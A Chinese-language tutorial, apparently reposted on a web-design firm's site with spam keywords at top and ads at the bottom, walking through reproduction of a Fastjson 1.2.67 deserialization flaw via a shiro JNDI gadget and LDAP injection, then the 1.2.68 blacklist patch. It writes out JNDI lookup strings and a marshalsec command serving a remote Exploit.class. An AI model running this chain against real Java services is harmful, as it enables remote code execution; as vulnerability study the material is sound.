欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

今天就跟大家聊聊有關如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn),可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據(jù)這篇文章可以有所收獲。

義馬網(wǎng)站制作公司哪家好,找成都創(chuàng)新互聯(lián)公司!從網(wǎng)頁設計、網(wǎng)站建設、微信開發(fā)、APP開發(fā)、響應式網(wǎng)站建設等網(wǎng)站項目制作,到程序開發(fā),運營維護。成都創(chuàng)新互聯(lián)公司2013年至今到現(xiàn)在10年的時間,我們擁有了豐富的建站經(jīng)驗和運維經(jīng)驗,來保證我們的工作的順利進行。專注于網(wǎng)站建設就選成都創(chuàng)新互聯(lián)公司。

0x01 Fastjson簡介

Fastjson 是Alibaba的開源JSON解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化為 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。 
https://github.com/alibaba/fastjson

0x02 環(huán)境搭建

JDK 版本:8u112

fastjson: 1.2.67

shiro: 1.5.1

slf4j-nop: 1.7.25

0x1 添加依賴包

為了快速添加項目所需要的jar包,創(chuàng)建Maven項目如下

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

pom.xml

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

之后右鍵pom.xml 點擊下載source和document

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

0x2 選擇JDK版本

該漏洞選擇JDK 8u112

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

0x3 編寫漏洞代碼

在main文件夾中添加漏洞代碼,核心在于調用了fastjson.JSON的parseObject 函數(shù)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

0x03 漏洞原理

0x1 FastJson 類解析

Fastjson接口簡單易用,廣泛使用在緩存序列化、協(xié)議交互、Web輸出、Android客戶端提供兩個主要接口toJsonString和parseObject來分別實現(xiàn)序列化和反序列化。

FastJson中的 parse 和 parseObject方法都可以用來將JSON字符串反序列化成Java對象,parseObject 本質上也是調用 parse 進行反序列化的。但是 parseObject 會額外的將Java對象轉為 JSONObject對象,即 JSON.toJSON。所以進行反序列化時的細節(jié)區(qū)別在于,parse 會識別并調用目標類的 setter 方法及某些特定條件的 getter 方法,而 parseObject 由于多執(zhí)行了 JSON.toJSON(obj),所以在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法。

fastjson.java

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

由結果可以看出調用parseObject 函數(shù)會調用getattr方法。

0x2 漏洞調用鏈分析

調用棧分析

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

1. parseObject 對象類型轉換

這一步的操作是將obj對應的對象類型轉化為json格式,這勢必要方位getattr 對象方法,從而觸發(fā)漏洞。

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

2. 反射調用

通過invoke方法,調用getinstance方法

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

3. 觸發(fā)ldap

在JndiObjectFactory getinstance 中調用了this.lookup(resourceName)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

0x3 JNDI 注入

Java Name Directory Interface,Java命名和目錄接口(JNDI)是一種Java API,類似于一個索引中心,它允許客戶端通過name發(fā)現(xiàn)和查找數(shù)據(jù)和對象。JNDI包括Naming Service和Directory Service,通過名稱來尋找數(shù)據(jù)和對象的API,也稱為一種綁定。JNDI可訪問的現(xiàn)有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

其應用場景比如:動態(tài)加載數(shù)據(jù)庫配置文件,從而保持數(shù)據(jù)庫代碼不變動等。

注入方法:

  1. JNDI Reference 配合 RMI

  2. JNDI Reference 配合 LDAP

RMI格式:ctx.lookup("
rmi://localhost:9999/refObj");

LDAP格式ctx.lookup("
ldap://localhost:9999/refObj");

若lookup函數(shù)中的參數(shù)攻擊者可控,便可以指向攻擊者的服務器,即可實現(xiàn)JNDI注入實現(xiàn)任意代碼執(zhí)行。

1 RMI

RMI(Remote Method Invocation,遠程方法調用)。遠程方法調用是分布式編程中的一個基本思想,實現(xiàn)遠程方法調用的技術有CORBA、WebService等(這兩種獨立于編程語言)。RMI則是專門為JAVA設計,依賴JRMP通訊協(xié)議。

2 LDAP

LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協(xié)議)是一種目錄服務協(xié)議,運行在TCP/IP堆棧之上。目錄服務是一個特殊的數(shù)據(jù)庫,用來保存描述性的、基于屬性的詳細信息,能進行查詢、瀏覽和搜索,以樹狀結構組織數(shù)據(jù)。LDAP以樹結構標識所以不能像表格一樣用SQL語句查詢,它“讀”性能很強,但“寫”性能較差,并且沒有事務處理、回滾等復雜功能,不適于存儲修改頻繁的數(shù)據(jù)。LDAP目錄和RMI注冊表的區(qū)別在于是前者是目錄服務,并允許分配存儲對象的屬性。

該漏洞簡單的將利用org.apache.shiro 包中的jndi功能訪問自己搭建的ldap服務,獲取并執(zhí)行自己編譯的Exploit.class文件。

0x04 漏洞利用

0x1 編譯Java 利用代碼

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

0x2 開啟 LDAP 服務

使用marshalsec啟動一個ladp服務器 ,下載地址為
https://github.com/mbechler/marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

0x3 開啟HTTP Web 服務

將編譯好的Exploit.class 放在web目錄下并開啟服務

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

0x05 漏洞補丁

這個鏈接梳理了fastjson hash對應的jar,可以方便的尋找已經(jīng)被過濾的jar包
https://github.com/LeadroyaL/fastjson-blacklist

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

該漏洞采用黑名單的方式進行修補,在1.2.68中把org.apache.shiro.jndi 給ban掉了

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

對應的具體代碼如下圖所示,在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函數(shù)中有對應處理

黑名單hash生成算法,大概思路是將每一位都異或進行異或疊加。

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)

看完上述內容,你們對如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。

分享文章:如何分析Fastjson漏洞的環(huán)境搭建及漏洞復現(xiàn)
URL分享:http://chinadenli.net/article10/gohido.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站設計、App設計、網(wǎng)站改版、移動網(wǎng)站建設、建站公司、微信小程序

廣告

聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)

小程序開發(fā)